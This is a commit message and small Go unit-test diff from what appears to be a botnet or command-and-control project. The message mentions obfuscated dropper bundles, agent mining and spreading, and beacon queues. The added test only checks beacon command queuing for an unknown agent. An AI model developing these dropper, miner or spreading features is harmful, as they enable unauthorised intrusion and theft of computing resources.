fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

server/internal/api/beacon_test.go

@@ -57,6 +57,14 @@ func TestAgentBeaconFleetSecretAuth(t *testing.T) {
 	}
 }
 
+func TestBeaconCommandQueueUnknownAgent(t *testing.T) {
+	hub := NewWSHub(nil)
+	hub.MarkBeaconSeen("ghost-agent")
+	if hub.EnqueueBeaconCommand("ghost-agent", "pause", nil) {
+		t.Fatal("enqueue should fail for unknown agent")
+	}
+}
+
 func TestBeaconCommandQueueRoundtrip(t *testing.T) {
 	database, err := db.New(t.TempDir())
 	if err != nil {